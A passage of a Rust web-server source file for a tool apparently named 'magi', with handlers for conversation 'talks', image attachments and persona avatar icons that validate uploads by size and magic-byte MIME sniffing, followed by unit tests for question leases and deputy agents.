10066 .map_err(ApiError::bad_request)?;
10067 let mut talk = ui.talks.get(&id)?;
10068 if !talk.status.open() {
10069 return Err(ApiError::conflict(format!(
10070 "talk {} is {} and takes no more turns",
10071 talk.short(),
10072 talk.status.as_str()
10073 )));
10074 }
10075 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10076 Ok(talk)
10077 })
10078 .await
10079 };
10080 let observed = ui.queued_generation(&id);
10082 let fresh = {
10083 let ui = Arc::clone(&ui);
10084 let id = id.clone();
10085 blocking(move || Ok(ui.talks.get(&id)?)).await
10086 };
10087 let draining = match fresh {
10088 Ok(talk) => {
10089 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10090 }
10091 Err(_) => false,
10092 };
10093 let talk = switched?;
10094 Ok(Json(TalkView::new(talk, draining, &ui)))
10095 })
10096 .await
10097}
10098
10099async fn talk_close(
10101 State(ui): State<Arc<Ui>>,
10102 Path(id): Path<String>,
10103) -> ApiResult<Json<TalkView>> {
10104 blocking(move || {
10105 let id = resolve_talk(&ui.talks, &id)?;
10106 let mut talk = ui.talks.get(&id)?;
10107 talk::close(&mut talk, &ui.talks)?;
10108 let thinking = ui.is_thinking(&talk.id);
10109 Ok(Json(TalkView::new(talk, thinking, &ui)))
10110 })
10111 .await
10112}
10113
10114async fn talk_reopen(
10116 State(ui): State<Arc<Ui>>,
10117 Path(id): Path<String>,
10118) -> ApiResult<Json<TalkView>> {
10119 blocking(move || {
10120 let id = resolve_talk(&ui.talks, &id)?;
10121 let mut talk = ui.talks.get(&id)?;
10122 talk::reopen(&mut talk, &ui.talks)?;
10123 let thinking = ui.is_thinking(&talk.id);
10124 Ok(Json(TalkView::new(talk, thinking, &ui)))
10125 })
10126 .await
10127}
10128
10129async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10139 blocking(move || {
10140 let id = resolve_talk(&ui.talks, &id)?;
10141 ui.talks.remove(&id)?;
10142 Ok(StatusCode::NO_CONTENT)
10143 })
10144 .await
10145}
10146
10147fn talk_ids(root: &FsPath) -> Vec<String> {
10148 std::fs::read_dir(root)
10149 .into_iter()
10150 .flatten()
10151 .flatten()
10152 .filter_map(|e| {
10153 let path = e.path();
10154 if path.extension().is_some_and(|ext| ext == "json") {
10155 path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10156 } else {
10157 None
10158 }
10159 })
10160 .collect()
10161}
10162
10163fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10165 if plain_record_id(id) && store.path_of(id).is_file() {
10166 return Ok(id.to_owned());
10167 }
10168 pick(talk_ids(store.root()), id, "talk")
10169}
10170
10171async fn talk_attachment_post(
10174 State(ui): State<Arc<Ui>>,
10175 Path(id): Path<String>,
10176 headers: HeaderMap,
10177 body: Bytes,
10178) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10179 let mime = validate_attachment(&headers, &body)?;
10180 let name = filename_header(&headers);
10181 let data = body.to_vec();
10182 blocking(move || {
10183 let id = resolve_talk(&ui.talks, &id)?;
10184 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10185 Ok((StatusCode::CREATED, Json(att)))
10186 })
10187 .await
10188}
10189
10190async fn talk_attachment_get(
10193 State(ui): State<Arc<Ui>>,
10194 Path((id, att)): Path<(String, String)>,
10195) -> ApiResult<Response> {
10196 blocking(move || {
10197 let id = resolve_talk(&ui.talks, &id)?;
10198 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10199 return Err(ApiError::not_found(format!(
10200 "talk {id} has no attachment `{att}`"
10201 )));
10202 };
10203 Ok(attachment_response(&meta.mime, data))
10204 })
10205 .await
10206}
10207
10208fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10211 let id = avatar_encode(&p.id);
10212 format!(
10213 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10214 persona_icon::fingerprint(
10215 effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10216 )
10217 )
10218}
10219
10220#[derive(Debug, Default, Deserialize)]
10221struct AvatarQuery {
10222 persona: Option<String>,
10223 builtin: Option<String>,
10225}
10226
10227const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10229
10230fn builtin_avatar(id: &str) -> Response {
10231 svg_avatar(persona_icon::builtin_svg(id))
10232}
10233
10234async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10235 raster_or_builtin(
10236 read_icon_file(&avatar_setting_path(&ui.home, None))
10237 .filter(|_| q.builtin.is_none())
10238 .as_deref(),
10239 persona_icon::operator_svg(),
10240 )
10241}
10242
10243fn svg_avatar(svg: &'static str) -> Response {
10244 (
10245 [
10246 (header::CONTENT_TYPE, "image/svg+xml"),
10247 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10248 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10249 (header::CACHE_CONTROL, "no-cache"),
10250 ],
10251 svg,
10252 )
10253 .into_response()
10254}
10255
10256fn avatar_encode(value: &str) -> String {
10257 value
10258 .bytes()
10259 .map(|b| {
10260 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
10261 char::from(b).to_string()
10262 } else {
10263 format!("%{b:02X}")
10264 }
10265 })
10266 .collect()
10267}
10268
10269fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10271 let Some(id) = persona else {
10272 return home.join("avatars/operator.data");
10273 };
10274 let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10275 let mut path = home.join("avatars/personas");
10276 for chunk in encoded.as_bytes().chunks(100) {
10277 path.push(std::str::from_utf8(chunk).expect("hex"));
10278 }
10279 path.join("icon.data")
10280}
10281
10282fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10283 match read_icon_file(&avatar_setting_path(home, Some(id))) {
10284 Some(value) if value == "builtin" => Some(String::new()),
10285 Some(value) => Some(value),
10286 None => configured.map(str::to_owned),
10287 }
10288}
10289
10290fn operator_icon_url(home: &FsPath) -> String {
10291 format!(
10292 "/avatars/operator.svg?v={}",
10293 persona_icon::fingerprint(
10294 read_icon_file(&avatar_setting_path(home, None))
10295 .as_deref()
10296 .or(Some(persona_icon::operator_svg()))
10297 )
10298 )
10299}
10300
10301fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10302 let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10303 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10304 attachment_response(mime, bytes)
10305 }
10306 _ => svg_avatar(builtin),
10307 };
10308 response
10309 .headers_mut()
10310 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10311 response
10312}
10313
10314#[derive(Default, Deserialize)]
10315struct AvatarSettingsQuery {
10316 repo: Option<PathBuf>,
10317 persona: Option<String>,
10318 builtin: Option<String>,
10319 inherit: Option<String>,
10320}
10321
10322fn avatar_settings_specs(
10323 ui: &Ui,
10324 repo: Option<PathBuf>,
10325) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10326 let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10327 let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10328 .map(|cfg| cfg.talk.personas)
10329 .unwrap_or_default();
10330 Ok((repo, specs))
10331}
10332
10333fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10334 let Ok(entries) = std::fs::read_dir(path) else {
10335 return;
10336 };
10337 for entry in entries.flatten() {
10338 let name = entry.file_name().to_string_lossy().into_owned();
10339 if name == "icon.data" {
10340 let bytes: Option<Vec<u8>> = prefix
10341 .as_bytes()
10342 .chunks(2)
10343 .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10344 .collect();
10345 if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10346 out.push(id);
10347 }
10348 } else if name.len() <= 100
10349 && !name.is_empty()
10350 && name.bytes().all(|b| b.is_ascii_hexdigit())
10351 && entry.file_type().is_ok_and(|t| t.is_dir())
10352 {
10353 saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10354 }
10355 }
10356}
10357
10358async fn avatar_settings_get(
10359 State(ui): State<Arc<Ui>>,
10360 Query(q): Query<AvatarSettingsQuery>,
10361) -> ApiResult<Json<serde_json::Value>> {
10362 blocking(move || {
10363 let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10364 let mut catalog = persona::catalog(&specs);
10365 let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10366 let mut saved = Vec::new();
10367 saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10368 for id in saved {
10369 if !catalog.iter().any(|p| p.id == id) {
10370 catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10371 }
10372 }
10373 let personas: Vec<_> = catalog.iter().map(|p| {
10374 let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10375 let override_state = match saved.as_deref() {
10376 Some("builtin") => "builtin",
10377 Some(_) => "custom",
10378 None => "inherit",
10379 };
10380 let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10381 serde_json::json!({"id":p.id,"name":p.name,
10382 "override_state":override_state,"has_config_icon":p.icon.is_some(),
10383 "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10384 avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10385 }).collect();
10386 Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10387 }).await
10388}
10389
10390async fn settings_persona_avatar(
10391 State(ui): State<Arc<Ui>>,
10392 Query(q): Query<AvatarSettingsQuery>,
10393) -> ApiResult<Response> {
10394 blocking(move || {
10395 let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
10396 let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10397 let found = persona::find(&specs, id);
10398 let icon =
10399 effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10400 Ok(raster_or_builtin(
10401 icon.as_deref().filter(|_| q.builtin.is_none()),
10402 persona_icon::builtin_svg(id),
10403 ))
10404 })
10405 .await
10406}
10407
10408fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10409 if q.persona
10410 .as_ref()
10411 .is_some_and(|p| p.is_empty() || p.len() > 4096)
10412 {
10413 return Err(ApiError::bad_request("invalid persona id"));
10414 }
10415 Ok(())
10416}
10417
10418async fn avatar_settings_put(
10419 State(ui): State<Arc<Ui>>,
10420 Query(q): Query<AvatarSettingsQuery>,
10421 Json(upload): Json<MagiIconUpload>,
10422) -> ApiResult<Json<serde_json::Value>> {
10423 blocking(move || {
10424 validate_avatar_target(&q)?;
10425 save_icon_file(
10426 &avatar_setting_path(&ui.home, q.persona.as_deref()),
10427 &upload.icon,
10428 )
10429 .map_err(ApiError::bad_request_from)?;
10430 Ok(Json(serde_json::json!({"saved":true})))
10431 })
10432 .await
10433}
10434
10435async fn avatar_settings_delete(
10436 State(ui): State<Arc<Ui>>,
10437 Query(q): Query<AvatarSettingsQuery>,
10438) -> ApiResult<Json<serde_json::Value>> {
10439 blocking(move || {
10440 validate_avatar_target(&q)?;
10441 let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10442 if q.persona.is_some() && q.inherit.is_none() {
10443 atomic_icon_write(&path, "builtin")?;
10444 } else {
10445 match std::fs::remove_file(path) {
10446 Ok(()) => (),
10447 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10448 Err(e) => return Err(anyhow::Error::from(e).into()),
10449 }
10450 }
10451 Ok(Json(serde_json::json!({"saved":true})))
10452 })
10453 .await
10454}
10455
10456fn magi_icon_path(home: &FsPath) -> PathBuf {
10458 home.join("magi-icon.data")
10459}
10460
10461fn read_magi_icon(home: &FsPath) -> Option<String> {
10462 read_icon_file(&magi_icon_path(home))
10463}
10464
10465fn read_icon_file(path: &FsPath) -> Option<String> {
10466 let metadata = std::fs::metadata(path).ok()?;
10467 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10468 return None;
10469 }
10470 let file = std::fs::File::open(path).ok()?;
10471 use std::io::Read;
10472 let mut text = String::new();
10473 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10474 .read_to_string(&mut text)
10475 .ok()?;
10476 if text.len() > persona_icon::ICON_MAX_BYTES {
10477 return None;
10478 }
10479 if text == "builtin" {
10480 return Some(text);
10481 }
10482 validate_uploaded_icon(&text).ok()?;
10483 Some(text)
10484}
10485
10486fn magi_icon_url(home: &FsPath) -> String {
10487 format!(
10488 "/avatars/magi?v={}",
10489 persona_icon::fingerprint(read_magi_icon(home).as_deref())
10490 )
10491}
10492
10493async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10494 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10495}
10496
10497#[derive(Deserialize)]
10498struct MagiIconUpload {
10499 icon: String,
10500}
10501
10502fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10503 save_icon_file(&magi_icon_path(home), icon)
10504}
10505
10506fn validate_uploaded_icon(icon: &str) -> Result<()> {
10507 if !icon.starts_with("data:") {
10508 anyhow::bail!("upload a raster image");
10509 }
10510 let (mime, bytes) = persona_icon::load(icon)?;
10511 if sniffed_mime(&bytes) != Some(mime) {
10512 anyhow::bail!("image content does not match its type");
10513 }
10514 Ok(())
10515}
10516
10517fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10518 validate_uploaded_icon(icon)?;
10519 atomic_icon_write(path, icon)
10520}
10521
10522fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10523 let home = path.parent().expect("icon parent");
10524 std::fs::create_dir_all(home)?;
10525 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10526 let temp = home.join(format!(".magi-icon-{token}.tmp"));
10527 let result = (|| -> Result<()> {
10528 use std::io::Write;
10529 let mut file = std::fs::OpenOptions::new()
10530 .write(true)
10531 .create_new(true)
10532 .open(&temp)?;
10533 file.write_all(icon.as_bytes())?;
10534 file.sync_all()?;
10535 std::fs::rename(&temp, path)?;
10536 Ok(())
10537 })();
10538 let _ = std::fs::remove_file(temp);
10539 result?;
10540 Ok(())
10541}
10542
10543async fn magi_icon_put(
10544 State(ui): State<Arc<Ui>>,
10545 Json(upload): Json<MagiIconUpload>,
10546) -> ApiResult<Json<serde_json::Value>> {
10547 blocking(move || {
10548 if !upload.icon.starts_with("data:") {
10549 return Err(ApiError::bad_request("upload a raster image"));
10550 }
10551 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10552 if sniffed_mime(&bytes) != Some(mime) {
10553 return Err(ApiError::bad_request(
10554 "image content does not match its type",
10555 ));
10556 }
10557 save_magi_icon(&ui.home, &upload.icon)?;
10558 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10559 })
10560 .await
10561}
10562
10563async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10564 blocking(move || {
10565 match std::fs::remove_file(magi_icon_path(&ui.home)) {
10566 Ok(()) => (),
10567 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10568 Err(e) => return Err(anyhow::Error::from(e).into()),
10569 }
10570 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10571 })
10572 .await
10573}
10574
10575async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10576 let icon = (q.builtin.is_none())
10577 .then(|| read_magi_icon(&ui.home))
10578 .flatten();
10579 let mut response = match icon
10580 .as_deref()
10581 .and_then(|icon| persona_icon::load(icon).ok())
10582 {
10583 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10584 attachment_response(mime, bytes)
10585 }
10586 _ => svg_avatar(persona_icon::magi_svg()),
10587 };
10588 response
10589 .headers_mut()
10590 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10591 response
10592}
10593
10594async fn talk_avatar(
10599 State(ui): State<Arc<Ui>>,
10600 Path(id): Path<String>,
10601 Query(q): Query<AvatarQuery>,
10602) -> ApiResult<Response> {
10603 blocking(move || {
10604 let id = resolve_talk(&ui.talks, &id)?;
10605 let talk = ui.talks.get(&id)?;
10606 let wanted = q
10607 .persona
10608 .as_deref()
10609 .map(str::trim)
10610 .filter(|p| !p.is_empty())
10611 .unwrap_or(&talk.persona)
10612 .to_owned();
10613 let specs = match Config::discover(&talk.repo, None) {
10614 Ok((cfg, _)) => cfg.talk.personas,
10615 Err(e) => {
10616 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
10617 Vec::new()
10618 }
10619 };
10620 let found = persona::find(&specs, &wanted);
10621 let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
10623 let icon = effective_persona_icon(
10624 &ui.home,
10625 &wanted,
10626 found.as_ref().and_then(|p| p.icon.as_deref()),
10627 );
10628 if found.is_none() && icon.is_none() {
10629 return Ok(builtin_avatar(persona::DEFAULT_ID));
10630 }
10631 let Some(icon) = icon
10632 .as_deref()
10633 .filter(|icon| !icon.is_empty() && q.builtin.is_none())
10634 else {
10635 return Ok(builtin_avatar(&wanted));
10636 };
10637 let Some(found) = found else {
10638 return Ok(raster_or_builtin(
10639 Some(icon),
10640 persona_icon::builtin_svg(&wanted),
10641 ));
10642 };
10643 match persona_icon::load(icon) {
10644 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10645 let mut res = attachment_response(mime, bytes);
10646 res.headers_mut().insert(
10647 header::CACHE_CONTROL,
10648 header::HeaderValue::from_static("no-cache"),
10649 );
10650 Ok(res)
10651 }
10652 Ok((mime, _)) => {
10653 tracing::warn!(
10654 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
10655 found.id
10656 );
10657 Ok(builtin_avatar(&found.id))
10658 }
10659 Err(e) => {
10660 tracing::warn!(
10661 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
10662 found.id
10663 );
10664 Ok(builtin_avatar(&found.id))
10665 }
10666 }
10667 })
10668 .await
10669}
10670
10671fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
10682 if data.len() > ATTACHMENT_MAX_BYTES {
10683 return Err(ApiError::bad_request(format!(
10684 "attachment is {} bytes, over the {} MiB limit",
10685 data.len(),
10686 ATTACHMENT_MAX_BYTES / (1024 * 1024)
10687 ))
10688 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
10689 }
10690 if data.is_empty() {
10691 return Err(ApiError::bad_request("attachment is empty"));
10692 }
10693 let declared = declared_mime(headers)?;
10694 match sniffed_mime(data) {
10695 Some(sniffed) if sniffed == declared => Ok(declared),
10696 Some(sniffed) => Err(ApiError::bad_request(format!(
10697 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
10698 ))),
10699 None => Err(ApiError::bad_request(
10700 "the file's bytes do not match any accepted image format",
10701 )),
10702 }
10703}
10704
10705fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
10709 let raw = headers
10710 .get(header::CONTENT_TYPE)
10711 .and_then(|v| v.to_str().ok())
10712 .unwrap_or("")
10713 .split(';')
10714 .next()
10715 .unwrap_or("")
10716 .trim()
10717 .to_ascii_lowercase();
10718 ATTACHMENT_MIME_WHITELIST
10719 .iter()
10720 .find(|&&m| m == raw)
10721 .copied()
10722 .ok_or_else(|| {
10723 if raw == "image/svg+xml" {
10724 ApiError::bad_request(
10725 "SVG is not accepted: it can carry active content (e.g. a <script>), \
10726 not just a picture",
10727 )
10728 } else if raw.is_empty() {
10729 ApiError::bad_request("Content-Type is required for an attachment upload")
10730 } else {
10731 ApiError::bad_request(format!(
10732 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
10733 image/gif or image/webp"
10734 ))
10735 }
10736 })
10737}
10738
10739fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
10742 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
10743 Some("image/png")
10744 } else if data.starts_with(b"\xff\xd8\xff") {
10745 Some("image/jpeg")
10746 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
10747 Some("image/gif")
10748 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10749 Some("image/webp")
10750 } else {
10751 None
10752 }
10753}
10754
10755fn filename_header(headers: &HeaderMap) -> String {
10761 headers
10762 .get(FILENAME_HEADER)
10763 .and_then(|v| v.to_str().ok())
10764 .map(str::trim)
10765 .filter(|s| !s.is_empty())
10766 .unwrap_or("attachment")
10767 .to_owned()
10768}
10769
10770fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10777 let content_type = ATTACHMENT_MIME_WHITELIST
10778 .iter()
10779 .find(|&&m| m == mime)
10780 .copied()
10781 .unwrap_or("application/octet-stream");
10782 (
10783 [
10784 (header::CONTENT_TYPE, content_type),
10785 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10786 ],
10787 body,
10788 )
10789 .into_response()
10790}
10791
10792async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10800 let repo = repo.to_path_buf();
10801 blocking(move || {
10802 let (cfg, _) = Config::discover(&repo, None)?;
10803 Ok(cfg)
10804 })
10805 .await
10806}
10807
10808fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10814 let mut hits = ids
10815 .into_iter()
10816 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10817 match (hits.next(), hits.next()) {
10818 (Some(one), None) => Ok(one),
10819 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10820 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10821 "`{prefix}` matches more than one {what}, including {a} and {b}"
10822 ))),
10823 }
10824}
10825
10826#[cfg(test)]
10827mod tests {
10828
10829 #[test]
10830 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10831 let dir = tempfile::tempdir().unwrap();
10832 let store = ask::Questions::at(dir.path().join("questions"));
10833 let mut q = Question::new(
10834 "task".to_owned(),
10835 "conduct".to_owned(),
10836 "conduct".to_owned(),
10837 "choose".to_owned(),
10838 String::new(),
10839 vec!["keep".to_owned()],
10840 );
10841 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10842 q.say("why?").unwrap();
10843 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10844 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10845 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10846 store.put(&mut q).unwrap();
10847 assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10848 assert_eq!(store.count_needs_owner(), 1);
10849 store.beat(&q.id, ask::WaiterKind::Deputy);
10850 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10851 assert_eq!(store.count_needs_owner(), 0);
10852 let mut stale = store.read_lease(&q.id).unwrap();
10853 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10854 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10855 let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10856 assert!(view.deputy_exhausted);
10857 assert!(view.waiting_on_agent);
10858 assert_eq!(view.question.choices, ["keep"]);
10859 store.drop_lease(&q.id);
10860 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10861 assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10862 }
10863
10864 #[test]
10865 fn holder_reads_the_lease_not_the_record() {
10866 let mut q = Question::new(
10867 "run".to_owned(),
10868 "implement".to_owned(),
10869 "impl-A".to_owned(),
10870 "which?".to_owned(),
10871 String::new(),
10872 Vec::new(),
10873 );
10874 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10875 q.cwd = Some("/tmp".to_owned());
10876 assert_eq!(holder_of(&q, None), Some("nobody"));
10877 let beat = |kind, ago: i64| ask::Lease {
10878 kind,
10879 pid: 1,
10880 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10881 .unwrap(),
10882 };
10883 let fresh = beat(ask::WaiterKind::Asker, 1);
10884 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
10885 let daemon = beat(ask::WaiterKind::Daemon, 1);
10886 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
10887 let stale = beat(ask::WaiterKind::Asker, 3600);
10888 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
10889
10890 let mut c = Question::new(
10893 "task".to_owned(),
10894 crate::conduct::NODE.to_owned(),
10895 "conduct".to_owned(),
10896 "which?".to_owned(),
10897 String::new(),
10898 Vec::new(),
10899 );
10900 assert_eq!(holder_of(&c, None), Some("nobody"));
10901 c.cwd = Some("/tmp".to_owned());
10902 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
10903 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
10904 let deputy = beat(ask::WaiterKind::Deputy, 1);
10905 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
10906 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
10907
10908 let mut r = Question::new(
10910 String::new(),
10911 crate::bump::NOTICE_NODE.to_owned(),
10912 "release-watch".to_owned(),
10913 "stuck?".to_owned(),
10914 String::new(),
10915 vec!["hold".to_owned()],
10916 );
10917 assert_eq!(holder_of(&r, None), Some("nobody"));
10918 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
10919 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
10920 r.deputy = None;
10922 r.seat = "bump".to_owned();
10923 assert_eq!(holder_of(&r, None), None);
10924
10925 let mut m = Question::new(
10928 "run".to_owned(),
10929 crate::land::APPROVAL_NODE.to_owned(),
10930 "land".to_owned(),
10931 "merge?".to_owned(),
10932 String::new(),
10933 Vec::new(),
10934 );
10935 assert_eq!(holder_of(&m, None), Some("nobody"));
10936 assert_eq!(
10937 holder_of(&m, Some(&fresh)),
10938 Some("asker"),
10939 "a live explicit wait is a listener even before a deputy is attached"
10940 );
10941 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
10942 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
10943 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
10944 assert_eq!(holder_of(&m, None), Some("nobody"));
10945 }
10946
10947 fn stub_config() -> Config {
10948 Config {
10951 agents: vec![crate::config::AgentSpec {
10952 id: "stub".to_owned(),
10953 kind: AgentKind::Command,
10954 model: None,
10955 command: vec!["true".to_owned()],
10956 extra_args: Vec::new(),
10957 env: Default::default(),
10958 prompt_delivery: None,
10959 max_turn_secs: None,
10960 }],
10961 ..Config::default()
10962 }
10963 }
10964
10965 fn plain_question(seat: &str) -> Question {
10966 Question::new(
10967 String::new(),
10968 "n".to_owned(),
10969 seat.to_owned(),
10970 "s".to_owned(),
10971 String::new(),
10972 Vec::new(),
10973 )
10974 }
10975
10976 #[test]
10977 fn deputies_enabled_follows_the_config() {
10978 let on = stub_config();
10979 assert!(crate::deputy::can_start(Some(&on), ""));
10980 assert!(crate::deputy::can_start(Some(&on), "stub"));
10981 let mut off = on.clone();
10982 off.daemon.max_deputies = 0;
10983 assert!(!crate::deputy::can_start(Some(&off), ""));
10984 let mut empty = on;
10985 empty.agents.clear();
10986 assert!(!crate::deputy::can_start(Some(&empty), ""));
10987 assert!(!crate::deputy::can_start(None, ""));
10988 }
10989
10990 #[test]
10991 fn question_views_load_the_config_once() {
10992 let dir = TempDir::new().unwrap();
10993 let store = ask::Questions::at(dir.path().to_path_buf());
10994 let mut with_deputy = plain_question("b");
10995 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
10996 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
10997
10998 let calls = std::cell::Cell::new(0usize);
10999 let views = question_views(qs.clone(), &store, || {
11000 calls.set(calls.get() + 1);
11001 Some(stub_config())
11002 });
11003 assert_eq!(calls.get(), 1);
11004 assert_eq!(views.len(), 3);
11005 for (v, q) in views.iter().zip(&qs) {
11006 assert_eq!(
11007 v.deputies_enabled,
11008 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11009 );
11010 }
11011
11012 let views = question_views(qs, &store, || None);
11013 assert!(views.iter().all(|v| !v.deputies_enabled));
11014
11015 let calls = std::cell::Cell::new(0usize);
11016 let views = question_views(Vec::new(), &store, || {
11017 calls.set(calls.get() + 1);
11018 None
11019 });
11020 assert!(views.is_empty());
11021 assert_eq!(calls.get(), 0);
11022 }
11023
11024 use pretty_assertions::assert_eq;
11025 use serde_json::Value;
11026 use tempfile::TempDir;
11027 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11028
11029 use super::*;
11030 use crate::config::Config;
11031 use crate::queue::Source;
11032
11033 const SETTLE_STEPS: usize = 3_000;
11044
11045 struct Fixture {
11051 home: TempDir,
11052 addr: SocketAddr,
11053 }
11054
11055 impl Fixture {
11056 async fn start() -> Self {
11057 Self::with_loop(launch_idle).await
11058 }
11059
11060 async fn with_loop(launch: Launch) -> Self {
11062 let home = TempDir::new().expect("temp home");
11063 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11064 Self { home, addr }
11065 }
11066
11067 async fn with_repo(repo: PathBuf) -> Self {
11071 let home = TempDir::new().expect("temp home");
